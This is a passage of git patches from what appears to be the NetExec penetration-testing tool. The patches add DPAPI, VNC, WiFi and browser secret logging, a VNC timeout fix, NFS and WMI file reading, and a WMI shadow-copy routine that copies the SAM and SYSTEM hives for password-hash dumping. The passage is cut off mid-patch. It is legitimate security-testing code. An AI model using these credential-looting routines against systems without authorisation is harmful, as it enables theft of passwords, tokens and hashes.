2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 12868e9e6c..07ea4f1cc5 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -114,7 +114,7 @@ def write_to_output_file(self, line): self.output_file = self.context.output_file_template.format(output_folder="dpapi") # Handle the secret counter here, avoid to handle it in multiple places - with open(self.output_file, "w", encoding="utf-8") as fd: + with open(self.output_file, "a", encoding="utf-8") as fd: self.secrets_counter += 1 fd.write(line + "\n") From 0de1fc8cd5a6485fc3fc3f05a2c623f4586f3ab6 Mon Sep 17 00:00:00 2001 From: zblurx Date: Tue, 25 Aug 2026 12:08:38 +0200 Subject: [PATCH 228/397] change function name to log_secret to make it clearer --- nxc/helpers/dpapi.py | 22 +++++++++++----------- nxc/modules/mobaxterm.py | 2 +- nxc/modules/mremoteng.py | 2 +- nxc/modules/rdcman.py | 4 ++-- nxc/modules/vnc.py | 8 ++++---- nxc/modules/wam.py | 2 +- nxc/modules/wifi.py | 10 +++++----- 7 files changed, 25 insertions(+), 25 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 07ea4f1cc5..b2f791b694 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -108,7 +108,7 @@ def __del__(self): if self.output_file is not None and self.secrets_counter > 0: self.context.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}") - def write_to_output_file(self, line): + def log_secret(self, line): # If self.output_file is not already initialized, it means it is the first time we need to write secrets in it if self.output_file is None: self.output_file = self.context.output_file_template.format(output_folder="dpapi") @@ -208,7 +208,7 @@ def credential_callback(credential): tag = "CREDENTIAL" line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}" self.context.logger.highlight(line) - self.write_to_output_file(line) + self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, tag, @@ -244,7 +244,7 @@ def browser_callback(secret): secret_url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}" self.context.logger.highlight(line) - self.write_to_output_file(line) + self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, secret.browser.upper(), @@ -256,7 +256,7 @@ def browser_callback(secret): elif isinstance(secret, GoogleRefreshToken): line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}" self.context.logger.highlight(line) - self.write_to_output_file(line) + self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, secret.browser.upper(), @@ -268,7 +268,7 @@ def browser_callback(secret): elif isinstance(secret, Cookie): line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}" self.context.logger.highlight(line) - self.write_to_output_file(line) + self.log_secret(line) try: browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback) @@ -283,7 +283,7 @@ def vault_callback(secret): resource = secret.resource + " -" if secret.resource != "" else "-" line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}" self.context.logger.highlight(line) - self.write_to_output_file(line) + self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, tag, @@ -307,7 +307,7 @@ def firefox_callback(secret): url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}" self.context.logger.highlight(line) - self.write_to_output_file(line) + self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, tag, @@ -319,7 +319,7 @@ def firefox_callback(secret): elif isinstance(secret, FirefoxCookie): line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}" self.context.logger.highlight(line) - self.write_to_output_file(line) + self.log_secret(line) try: # Collect Firefox stored secrets @@ -358,7 +358,7 @@ def sccm_callback(secret): tag = "NAA Account" line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}" self.context.logger.highlight(line) - self.write_to_output_file(line) + self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, f"SCCM - {tag}", @@ -371,7 +371,7 @@ def sccm_callback(secret): tag = "Task sequences secret" line = f"[{tag}] {secret.secret.decode('latin-1')}" self.context.logger.highlight(line) - self.write_to_output_file(line) + self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, f"SCCM - {tag}", @@ -384,7 +384,7 @@ def sccm_callback(secret): tag = "Collection Variable" line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}" self.context.logger.highlight(line) - self.write_to_output_file(line) + self.log_secret(line) self.context.db.add_dpapi_secrets( self.target.address, f"SCCM - {tag}", diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index 533b89e8a4..aeb68022f3 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -26,7 +26,7 @@ def mobaxterm_callback(credential): log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) elif isinstance(credential, MobaXtermPassword): log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) - context.dpapi_triage.write_to_output_file(f"[{credential.winuser}] {log_text}") + context.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}") try: triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys) diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index 2d381a0b62..f9a39c691a 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -112,7 +112,7 @@ def handle_confCons_file(self, file_content): protocol = node_attribute["Protocol"] port = node_attribute["Port"] host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " " - self.context.dpapi_triage.write_to_output_file(f"{name}:{host} - {domain}\\{username}:{password}") + self.context.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}") def parse_xml_nodes(self, main): nodes = [] diff --git a/nxc/modules/rdcman.py b/nxc/modules/rdcman.py index fce98ded8a..6443a7564c 100644 --- a/nxc/modules/rdcman.py +++ b/nxc/modules/rdcman.py @@ -31,7 +31,7 @@ def on_admin_login(self, context, connection): log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.dpapi_triage.write_to_output_file(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") + context.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") for rdgfile in rdgfiles: if rdgfile is None: continue @@ -39,6 +39,6 @@ def on_admin_login(self, context, connection): log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.dpapi_triage.write_to_output_file(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") + context.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") except Exception as e: context.log.debug(f"Could not loot RDCMan secrets: {e}") diff --git a/nxc/modules/vnc.py b/nxc/modules/vnc.py index 06f54a13c0..b000aa416e 100644 --- a/nxc/modules/vnc.py +++ b/nxc/modules/vnc.py @@ -95,7 +95,7 @@ def vnc_client_proxyconf_extract(self, dploot_conn): cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1") cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1") - self.context.dpapi_triage.write_to_output_file(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") + self.context.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") def vnc_from_registry(self, dpapi_conn): vncs = ( @@ -114,7 +114,7 @@ def vnc_from_registry(self, dpapi_conn): password = self.recover_vncpassword(value) if password is None: continue - self.context.dpapi_triage.write_to_output_file(f"[{vnc_name}] Password: {password.decode('latin-1')}") + self.context.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}") vnc_users = ( ("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"), @@ -141,7 +141,7 @@ def vnc_from_registry(self, dpapi_conn): if "ERROR_FILE_NOT_FOUND" not in str(e): self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}") continue - self.context.dpapi_triage.write_to_output_file(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") + self.context.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") def split_len(self, seq, length): return [seq[i:i + length] for i in range(0, len(seq), length)] @@ -193,7 +193,7 @@ def vnc_from_filesystem(self, dploot_conn): for passwd_encrypted in passwds_encrypted: passwd_encrypted = passwd_encrypted.split(b"=")[-1] password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8] - self.context.dpapi_triage.write_to_output_file(f"[{vnc_name}] Password: {password.decode('latin-1')}") + self.context.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}") def get_users(self, conn): users = {} diff --git a/nxc/modules/wam.py b/nxc/modules/wam.py index 56c0a49246..25aed0711f 100644 --- a/nxc/modules/wam.py +++ b/nxc/modules/wam.py @@ -31,7 +31,7 @@ def token_callback(token): decoded_token = jwt.decode(access_token, options={"verify_signature": False}) if "preferred_username" in decoded_token: # Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token - context.dpapi_triage.write_to_output_file(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}") + context.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}") try: triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback) diff --git a/nxc/modules/wifi.py b/nxc/modules/wifi.py index 204b5e9a60..13619d8041 100644 --- a/nxc/modules/wifi.py +++ b/nxc/modules/wifi.py @@ -32,16 +32,16 @@ def on_admin_login(self, context, connection): context.log.highlight(f"[OPEN] {wifi_cred.ssid}") elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]: try: - context.dpapi_triage.write_to_output_file(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}") + context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}") except Exception: - context.dpapi_triage.write_to_output_file(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") + context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") elif wifi_cred.auth.upper() in ["WPA", "WPA2"]: try: if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None: - context.dpapi_triage.write_to_output_file(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}") + context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}") else: - context.dpapi_triage.write_to_output_file(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}") + context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}") except Exception: - context.dpapi_triage.write_to_output_file(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") + context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") else: context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}") From a5fe3ba13ffb931b31b2b7300ccc764195189bb8 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 25 Aug 2026 08:00:18 -0400 Subject: [PATCH 229/397] fix(vnc): bound the connection so an unresponsive server cannot hang the scan A VNC server that completes the TCP connect and then stops responding during the RFB handshake left `await self.conn.connect()` outstanding forever, with no output and no error. On one engagement a single host held a run for the full hour its external timeout allowed, and nothing was scanned in that time. The target timeout alone does not cover this: the connect succeeds, so the hang is in the handshake that follows. RDP already bounds the equivalent call with `asyncio.wait_for` and exposes `--rdp-timeout`; VNC now does the same through `--vnc-timeout`, which is also passed to RDPTarget. A timeout is reported as a timeout rather than as a rejected password, because nothing was authenticated. It is caught as `asyncio.TimeoutError`, which is only an alias of the builtin from Python 3.11 and this project supports 3.10. Claude-Session: https://claude.ai/code/session_01BrqBUZro8vxfBMGniTyfDV --- nxc/protocols/vnc.py | 17 +++++++++++++++-- nxc/protocols/vnc/proto_args.py | 1 + 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/vnc.py b/nxc/protocols/vnc.py index 7023a36e79..a0096f2723 100644 --- a/nxc/protocols/vnc.py +++ b/nxc/protocols/vnc.py @@ -96,10 +96,15 @@ def enum_host_info(self): def create_conn_obj(self): try: - self.target = RDPTarget(ip=self.host, port=self.port) + self.target = RDPTarget(ip=self.host, port=self.port, timeout=self.args.vnc_timeout) credential = UniCredential(protocol=asyauthProtocol.PLAIN, stype=asyauthSecret.PASS) self.conn = VNCConnection(target=self.target, credentials=credential, iosettings=self.iosettings) asyncio.run(self.connect_vnc(True)) + except asyncio.TimeoutError: + # asyncio.TimeoutError is only an alias of the builtin from 3.11 on, + # and the project supports 3.10, so catch it by its asyncio name. + self.logger.debug(f"Timed out after {self.args.vnc_timeout}s connecting to {self.host}:{self.port}") + return False except Exception as e: self.logger.debug(str(e)) if "Connect call failed" in str(e): @@ -107,7 +112,10 @@ def create_conn_obj(self): return True async def connect_vnc(self, discover=False): - _, err = await self.conn.connect() + # Bounded like connect_rdp(): the target timeout alone does not cover a + # server that completes the TCP connect and then stops responding during + # the RFB handshake, which leaves the await outstanding indefinitely. + _, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.vnc_timeout) if err is not None: if not discover: await asyncio.sleep(self.args.vnc_sleep) @@ -136,6 +144,11 @@ def plaintext_login(self, username, password): ) return True + except asyncio.TimeoutError: + # Reporting an unresponsive server as a rejected password would be wrong: + # nothing was authenticated, so say what actually happened. + self.logger.fail(f"{password} - Connection timed out after {self.args.vnc_timeout}s") + return False except Exception as e: self.logger.debug(str(e)) self.logger.fail(f"{password} - Authentication failed") diff --git a/nxc/protocols/vnc/proto_args.py b/nxc/protocols/vnc/proto_args.py index c67fd2c96b..f8dbbf251c 100644 --- a/nxc/protocols/vnc/proto_args.py +++ b/nxc/protocols/vnc/proto_args.py @@ -4,6 +4,7 @@ def proto_args(parser, parents): vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=parents, formatter_class=DisplayDefaultsNotNone) vnc_parser.add_argument("--port", type=int, default=5900, help="VNC port") + vnc_parser.add_argument("--vnc-timeout", type=int, default=5, help="VNC timeout on socket connection") vnc_parser.add_argument("--vnc-sleep", type=int, default=5, help="VNC Sleep on socket connection to avoid rate limit") egroup = vnc_parser.add_argument_group("Screenshot", "VNC Server") From c013e02e81390efdfa4601ff690c534a7e31c421 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 25 Aug 2026 12:08:36 -0400 Subject: [PATCH 230/397] Add --cat argument for nfs --- nxc/protocols/nfs.py | 85 +++++++++++++++++++++++++++++++++ nxc/protocols/nfs/proto_args.py | 1 + 2 files changed, 86 insertions(+) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 4b4251f030..375f3b6810 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -1,3 +1,5 @@ +from io import BytesIO + from termcolor import colored from nxc.connection import connection from nxc.logger import NXCAdapter @@ -774,6 +776,89 @@ def ls(self): path = path.rsplit("/", 1)[0] # Remove the file from the path self.print_directory(content, path) + def cat(self): + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + + # Remove leading or trailing slashes + self.args.cat = self.args.cat.lstrip("/").rstrip("/") + + # NORMAL LS CALL (without root escape) + if self.args.share: + mount_info = self.mount.mnt(self.args.share, self.auth) + if mount_info["status"] != 0: + self.logger.fail(f"Could not mount share {self.args.share}: {NFSSTAT3[mount_info['status']]}") + return + else: + mount_fh = mount_info["mountinfo"]["fhandle"] + elif self.root_escape: + # Interestingly we don't actually have to mount the share if we already got the handle + self.logger.success(f"Successful escape on share: {self.escape_share}") + mount_fh = self.escape_fh + else: + self.logger.fail("No root escape possible, please specify a share") + return + + # We got a path to look up + curr_fh = mount_fh + is_file = False # If the last path is a file + + # If ls is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, self.args.cat.split("/"))): + # Update UID and GID for the path + self.update_auth(curr_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {self.args.cat!r}") + return + elif "resfail" in res: + self.logger.fail(f"Error on looking up path '{sub_path}': {NFSSTAT3[res['status']]}") + return + + curr_fh = res["resok"]["object"]["data"] + + # If file then break and only display file + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + is_file = True + break + + # Update the UID and GID for the file/dir + self.update_auth(curr_fh) + + if not is_file: + self.logger.fail(f"Path '{self.args.cat}' is not a file!") + return + + buf = BytesIO() + # Handle files over the default chunk size of 1024 * 1024 + offset = 0 + eof = False + while not eof: + file_data = self.nfs3.read(curr_fh, offset, auth=self.auth) + + if "resfail" in file_data: + self.logger.fail(f"Failed to retrieve data for '{self.args.cat}': {NFSSTAT3[file_data['status']]}") + return + + else: + # Get the data and append it to the total file data + data = file_data["resok"]["data"] + eof = file_data["resok"]["eof"] + + # Update the offset to read the next chunk + offset += len(data) + # Write the file data to the local file + buf.write(data) + + try: + for line in buf.getvalue().decode().splitlines(): + self.logger.highlight(line) + except UnicodeDecodeError as e: + self.logger.fail(f"File is not in UTF-8: {e}") + def print_directory(self, content, path): """ Highlight log the content of the directory provided by a READDIRPLUS call. diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index 0de9f76d3e..bde9b22231 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -8,6 +8,7 @@ def proto_args(parser, parents): dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") + dgroup.add_argument("--cat", metavar="FILE", help="Display the contents of an NFS file. Example: --cat /path/to/file") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") dgroup.add_argument("--chmod", nargs=2, metavar=("PERMISSIONS", "FILE"), help="Change permissions of remote NFS file. Example: --chmod 777 /path/to/file") From 6f7e0a81bc4e49ffb6256d6a8333a863d626657c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 25 Aug 2026 13:12:56 -0400 Subject: [PATCH 231/397] Restrict dploot to v3 --- poetry.lock | 2 +- pyproject.toml | 2 +- uv.lock | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/poetry.lock b/poetry.lock index e6c3c407cc..bb5c167e0a 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2953,4 +2953,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "c0aa9e4d6e98e01f9e0a43b122439ccc0f01709afcea3bf645ed830ee35c54a6" +content-hash = "56b728355fe920630c713760332f0af9f33297a02c524a6ed304384a4d62c78f" diff --git a/pyproject.toml b/pyproject.toml index 40fd881b36..e1361ab910 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -24,7 +24,7 @@ dependencies = [ "bloodhound-ce>=1.8.0", "certihound>=0.1.1", "cryptography>=42.0.8", - "dploot>=3.2.2", + "dploot>=3.2.2,<4.0.0", "dsinternals>=1.2.4", "jwt>=1.3.1", "lsassy>=3.1.11", diff --git a/uv.lock b/uv.lock index 703e2d2900..ce13244dd3 100644 --- a/uv.lock +++ b/uv.lock @@ -1409,7 +1409,7 @@ requires-dist = [ { name = "certihound", specifier = ">=0.1.1" }, { name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" }, { name = "cryptography", specifier = ">=42.0.8" }, - { name = "dploot", specifier = ">=3.2.2" }, + { name = "dploot", specifier = ">=3.2.2,<4.0.0" }, { name = "dsinternals", specifier = ">=1.2.4" }, { name = "impacket", git = "https://github.com/fortra/impacket" }, { name = "jwt", specifier = ">=1.3.1" }, From a819614fc25cab3bed963bb5a52fbcc378a43800 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 26 Aug 2026 17:08:11 +0200 Subject: [PATCH 232/397] add get_file --- nxc/protocols/wmi.py | 59 ++++++++++++++++++++++++++++++++- nxc/protocols/wmi/proto_args.py | 4 +++ 2 files changed, 62 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index c5e5af0dea..aa353b4f49 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -1,4 +1,5 @@ import os +import struct from io import StringIO from nxc.helpers.negotiate_parser import parse_challenge @@ -14,7 +15,7 @@ from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login +from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login, DCERPCSessionError MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0")) @@ -365,6 +366,62 @@ def hash_login(self, domain, username, ntlm_hash): self.logger.success(out) return True + def read_file(self, remote_path): + escaped_path = remote_path.replace("\\","\\\\") + + # Load the Namespace + try: + powershellv3_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/Microsoft/Windows/Powershellv3", NULL, NULL) + self.iWbemLevel1Login.RemRelease() + except Exception as e: + logging.debug(f"Cannot load WMI Namespace {namespace_name}: {e}") + return None + + # Read the file + try: + object_path = f'PS_ModuleFile.InstanceID="{remote_path}"' + iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) + except DCERPCSessionError as e: + if e.error_code == 0x80041002: + logging.debug(f"Cannot find {fullpath} file") + return None + + obj = iWbemClassObject.getProperties() + + file_data = None + for prop_name, prop_value in obj.items(): + if prop_name == "FileData": + file_data = prop_value["value"] + break + + if len(file_data) < 4: + return None + + # Unpack it + file_length = struct.unpack(">I", bytes(file_data[:4]))[0] + file_content = bytes(file_data[4:4 + file_length]) + + return file_content + + def get_file_single(self, remote_path, download_path): + self.logger.display(f'Copying "{remote_path}" to "{download_path}"') + + if self.args.append_host: + download_path = f"{self.hostname}-{remote_path}" + + file_data = self.read_file(remote_path) + if file_data is None: + self.logger.fail(f'Could not get file "{remote_path}"') + else: + self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') + with open(download_path, "wb+") as file: + file.write(file_data) + + @requires_admin + def get_file(self): + for src, dest in self.args.get_file: + self.get_file_single(src, dest) + @requires_admin def wmi_query(self, wql=None, namespace=None, callback_func=None): records = [] diff --git a/nxc/protocols/wmi/proto_args.py b/nxc/protocols/wmi/proto_args.py index 936a43c76e..ffb5132a10 100644 --- a/nxc/protocols/wmi/proto_args.py +++ b/nxc/protocols/wmi/proto_args.py @@ -16,6 +16,10 @@ def proto_args(parser, parents): egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query") egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", type=str, default="root\\cimv2", help="WMI Namespace (default: %(default)s)") + files_group = wmi_parser.add_argument_group("File Operations") + files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") + files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") + cgroup = wmi_parser.add_argument_group("Command Execution") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") cgroup.add_argument("-x", metavar="COMMAND", dest="execute", type=str, help="Creates a new cmd process and executes the specified command with output") From 4711814adb917e536602590ac0f295d42d2efb1c Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 26 Aug 2026 18:00:09 +0200 Subject: [PATCH 233/397] add sam and lsa dump --- nxc/protocols/wmi.py | 155 ++++++++++++++++++++++++++++++-- nxc/protocols/wmi/proto_args.py | 2 + pyproject.toml | 2 +- 3 files changed, 151 insertions(+), 8 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index aa353b4f49..5e85caa352 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -11,6 +11,7 @@ from impacket import ntlm from impacket.uuid import uuidtup_to_bin from impacket.krb5.ccache import CCache +from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck @@ -367,6 +368,7 @@ def hash_login(self, domain, username, ntlm_hash): return True def read_file(self, remote_path): + self.logger.debug(f"Try reading file {remote_path}") escaped_path = remote_path.replace("\\","\\\\") # Load the Namespace @@ -374,12 +376,12 @@ def read_file(self, remote_path): powershellv3_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/Microsoft/Windows/Powershellv3", NULL, NULL) self.iWbemLevel1Login.RemRelease() except Exception as e: - logging.debug(f"Cannot load WMI Namespace {namespace_name}: {e}") + self.logger.debug(f"Cannot load WMI Namespace //./root/Microsoft/Windows/Powershellv3: {e}") return None # Read the file try: - object_path = f'PS_ModuleFile.InstanceID="{remote_path}"' + object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) except DCERPCSessionError as e: if e.error_code == 0x80041002: @@ -404,23 +406,162 @@ def read_file(self, remote_path): return file_content def get_file_single(self, remote_path, download_path): - self.logger.display(f'Copying "{remote_path}" to "{download_path}"') if self.args.append_host: download_path = f"{self.hostname}-{remote_path}" file_data = self.read_file(remote_path) if file_data is None: - self.logger.fail(f'Could not get file "{remote_path}"') + return False else: - self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') + with open(download_path, "wb+") as file: - file.write(file_data) + file.write(file_data) + return True @requires_admin def get_file(self): for src, dest in self.args.get_file: - self.get_file_single(src, dest) + self.logger.display(f'Copying "{src}" to "{dest}"') + if self.get_file_single(src, dest): + self.logger.success(f'File "{src}" was downloaded to "{dest}"') + else: + self.logger.fail(f'Could not get file "{src}"') + + @requires_admin + def sam(self): + output_filename = self.output_file_template.format(output_folder="sam") + + # Get the Namespace + try: + cimv2_namespace = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) + self.iWbemLevel1Login.RemRelease() + except Exception as e: + self.logger.fail("Could not dump SAM") + self.logger.debug(f"Cannot load WMI Namespace //./root/cimv2: {e}") + return + + # Creating Shadow Volumes + try: + win32_shadow_copy,_ = cimv2_namespace.GetObject("Win32_ShadowCopy") + self.logger.debug("Trying to create SS remotely via WMI") + result = win32_shadow_copy.Create("C:\\", "ClientAccessible") + shadow_id = result.ShadowID + self.logger.debug(f"Shadow Copy created at ID {shadow_id}") + except Exception as e: + self.logger.fail("Cannot create ShadowCopy") + self.logger.debug(e) + return + + # Finding it on disk + iEnum_shadow_copies = cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"') + obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0] + props = obj.getProperties() + shadow_copy = {k: v["value"] for k, v in props.items()} + self.logger.debug(f"Found ShadowCopy at {shadow_copy['DeviceObject']}") + + # Get the SAM hive + sam_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SAM" + sam_hive_recovered = self.get_file_single(sam_hive_path, f"{output_filename}.sam") + if sam_hive_recovered: + self.logger.debug("Got SAM hive") + + system_hive_path = f"{shadow_copy['DeviceObject']}\\Windows\\System32\\config\\SYSTEM" + system_hive_recovered = self.get_file_single(system_hive_path, f"{output_filename}.system") + if system_hive_recovered: + self.logger.debug("Got SYSTEM hive") + + # 